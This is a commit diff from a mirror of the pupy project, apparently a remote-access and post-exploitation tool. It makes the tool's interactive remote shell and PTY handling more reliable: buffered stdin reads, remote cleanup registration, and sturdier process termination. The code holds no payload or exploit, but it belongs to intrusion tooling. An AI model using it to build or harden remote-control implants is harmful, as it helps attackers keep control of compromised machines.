mirror of https://github.com/n1nj4sec/pupy.git
Increase shell reliability
This commit is contained in:
parent
89e06c1c45
commit
f471fc89b3
|
@ -144,7 +144,16 @@ class InteractiveShell(PupyModule):
|
|||
if not r:
|
||||
break
|
||||
|
||||
buf.append(os.read(fd, 1))
|
||||
buf_ = array.array('i', [0])
|
||||
|
||||
if fcntl.ioctl(sys.stdin, termios.FIONREAD, buf_, 1) == -1:
|
||||
break
|
||||
|
||||
if not buf_[0]:
|
||||
continue
|
||||
|
||||
chars = os.read(fd, buf_[0])
|
||||
buf.append(chars)
|
||||
return b''.join(buf)
|
||||
|
||||
def _read_loop(self, write_cb):
|
||||
|
@ -260,6 +269,8 @@ class InteractiveShell(PupyModule):
|
|||
|
||||
old_handler = None
|
||||
|
||||
self.client.conn.register_remote_cleanup(ps.close)
|
||||
|
||||
try:
|
||||
term = os.environ.get('TERM', 'xterm')
|
||||
|
||||
|
@ -280,10 +291,17 @@ class InteractiveShell(PupyModule):
|
|||
finally:
|
||||
if old_handler:
|
||||
pupylib.PupySignalHandler.set_signal_winch(old_handler)
|
||||
|
||||
try:
|
||||
self.ps.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
try:
|
||||
self.client.conn.unregister_remote_cleanup(ps.close)
|
||||
except:
|
||||
pass
|
||||
|
||||
self.set_pty_size=None
|
||||
self.complete.set()
|
||||
|
||||
|
|
|
@ -15,6 +15,7 @@ import select
|
|||
import rpyc
|
||||
import array
|
||||
import pwd
|
||||
import errno
|
||||
from pupy import obtain
|
||||
|
||||
def prepare(suid, slave):
|
||||
|
@ -68,14 +69,23 @@ class PtyShell(object):
|
|||
|
||||
def close(self):
|
||||
if self.prog is not None:
|
||||
self.prog.poll()
|
||||
try:
|
||||
rc = self.prog.poll()
|
||||
except:
|
||||
pass
|
||||
|
||||
if self.prog.returncode is None:
|
||||
if rc is None:
|
||||
try:
|
||||
self.prog.terminate()
|
||||
except:
|
||||
pass
|
||||
|
||||
try:
|
||||
if self.prog.poll() is None:
|
||||
self.prog.kill()
|
||||
except:
|
||||
pass
|
||||
|
||||
try:
|
||||
self.prog.poll()
|
||||
except:
|
||||
|
@ -178,14 +188,15 @@ class PtyShell(object):
|
|||
|
||||
try:
|
||||
r, _, x = select.select([self.master], [], [self.master], None)
|
||||
except IOError:
|
||||
not_eof = False
|
||||
except:
|
||||
pass
|
||||
except Exception, e:
|
||||
break
|
||||
|
||||
if r:
|
||||
if x or r:
|
||||
try:
|
||||
data = self.master.read(8192)
|
||||
except IOError, e:
|
||||
if e.errno in (errno.EAGAIN, errno.EWOULDBLOCK):
|
||||
continue
|
||||
except:
|
||||
data = None
|
||||
|
||||
|
@ -194,9 +205,6 @@ class PtyShell(object):
|
|||
else:
|
||||
not_eof = False
|
||||
|
||||
if x:
|
||||
not_eof = False
|
||||
|
||||
if not_eof:
|
||||
not_eof = self.prog.poll() is None
|
||||
else:
|
||||
|
|
Loading…
Reference in New Issue